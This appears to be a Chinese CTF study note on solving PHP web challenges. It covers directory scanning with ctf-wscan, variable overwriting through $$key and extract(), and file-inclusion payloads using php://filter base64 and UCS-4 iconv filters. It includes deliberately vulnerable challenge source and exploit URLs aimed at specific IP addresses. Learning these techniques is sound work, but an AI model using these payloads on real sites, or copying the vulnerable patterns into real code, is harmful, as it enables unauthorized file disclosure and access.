前言:
四个部分:操作系统、Web服务器、Web语言以及数据库
万变不离其宗,web题目离不开这四个方向
出一个web题目相当于搭一个网站
获取flag的方式:信息获取和权限获取
LAMP系统:
LAMP含义:一个web系统的组成部分只有四个方面:操作系统、Web服务软件(apache、nginx)、Web语言以及数据库,这个是解题的基础
Linux,操作系统
Apache,网页服务器
MariaDB或MySQL,数据库管理系统(或者数据库服务器)
PHP、Perl或Python,脚本语言
web系统中的漏洞无论是什么原因造成的,都可以被分类到以上这四个方面。
关键在于如何判断哪一块出了问题,分析顺序:
1.探明清楚web系统的语言、框架,首先满足能访问其正常功能
2.只要有登陆界面、数据库功能、输入框一般是sql注入(存在数据库一般都有数据库的考点)
3.接着扫描目录,看看有没有源码或者其它提示性文件(利用wscan)
4.寻找输入点(输入框、文件上传点、XSS点等),根据语言特性,进行payload测试,挖掘语言上的漏洞
5.最后再考虑是否是操作系统或者web服务器的漏洞,这一块基本都会涉及到webpwn方面的知识
利用wscan扫描目录
url地址:http://47.101.62.118:30026/
源码扫描工具:CTF-WSCAN-MASTER
下载wscan后修改config.py
中KEY_WORDS = ['flag','ctf', 'admin','index','hint','hints']
扫描此网站,命令:1
python .\ctf-wscan.py http://47.101.62.118:30026/
输出结果1
2
3
4
5
6
7
8[200] => robots.txt
[200] => index.php~
[200] => www.zip
[200] => www.zip
[200] => index.html
[200] => hints.txt
[200] => index.html
output at 47.101.62.118.30026.txt
其中www.zip文件产生的原因是网站的开发者习惯地把源码备份在根目录下
index.php~ index.bak是index.php的备份文件,就像linux换源一样
利用hints.txt和index.php~可以获得flag
Web解题思路之——语言
主要分为前端语言和后端语言
前端语言是网站服务器与用户交互
后端语言是跟网站与服务器进行交互
$$的变量覆盖
变量覆盖
在某个变量被赋值了之后,代码里面写有一串可以等价于赋值语句的其他语句
php是弱类型语言,没有特别处理会把所有变量都当做字符串,无论echo时加不加双引号
1 | <?php |
php中的foreach 遍历数组导致的变量覆盖
get是后端对前端的请求,post是前端向后端发送数据
$_GET数组1
2
3
4
5
6
7
if (isset($_GET))
{
var_dump();
}
$smity=array("a"=>"1","c"=>2);
var_dump($smity);
题目源代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17<?php
include"flag2.php";
highlight_file(__FILE__);
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("BugsBunnyCTF is here :p…");
if ( !isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $key => $value) #变量转移
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);
利用变量转移,对于$$key = $$value;
如果我们get传参a=1,那么就有$a=$1
,此时$a
变成了$1
的值
而变量覆盖是在$$key = $value;
如果我们post传参flag=1,那就有$flag=1
也就是先把flag转移到已有的变量上,即get传参?_200=flag
再post任意传参flag=1
没有hackbar的话,可以使用curl命令
curl url -d “”
-d代表post传参,引号里面是post需要传递的信息
php中的extract()函数导致的变量覆盖
题目源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<?php
highlight_file(__FILE__);
include "flag.php";
extract($_GET);
if (isset($gift))
{
$content = $flag;
if ($gift === $content)
{
highlight_file("flag.php");
}
else
{
var_dump($gift);
var_dump($content);
echo no;
}
}
?>
我们首先要传参gift
进入判断,若$gift === $content
,也就是要让gift内容与flag内容一致,才显示flag.php的内容,但是显然我们很难做到,所以我们这里利用extract($_GET)
,覆盖掉原来的flag.php中的变量flag,达到$gift === $content
的结果
所以payload:?gift=1&flag=1
文件包含
url:http://39.105.136.196/include/index.php
题目源码:1
2
3
4
5<?php
highlight_file(__FILE__);
$b=$_GET['id'];
include($b);
?>
payload:1
http://39.105.136.196/include/index.php?id=php://filter/convert.base64-encode/resource=./flag.php
apache把内容当作文本,所以显示出来了
另外还可以用php://filter/convert.quoted-printable-encode/resource=flag.php
但是我弄不出来(怀疑关了服务器)
推荐了一个网站:https://www.sojson.com/
接下来是四位一反转,比较新的内容
UCS实战中很少过滤1
2php://filter//convert.iconv.UCS-4LE.UCS-4BE/resource=./flag.php
http://39.105.136.196/include/index.php?id=php://filter//convert.iconv.UCS-4LE.UCS-4BE/resource=./flag.php
利用php可以解码,字符串要是4的倍数1
2
3
4echo iconv("UCS-4LE","UCS-4BE","字符串")
比如
echo iconv("UCS-4LE","UCS-4BE","flagflag");
# 输出galfgalf
什么是phar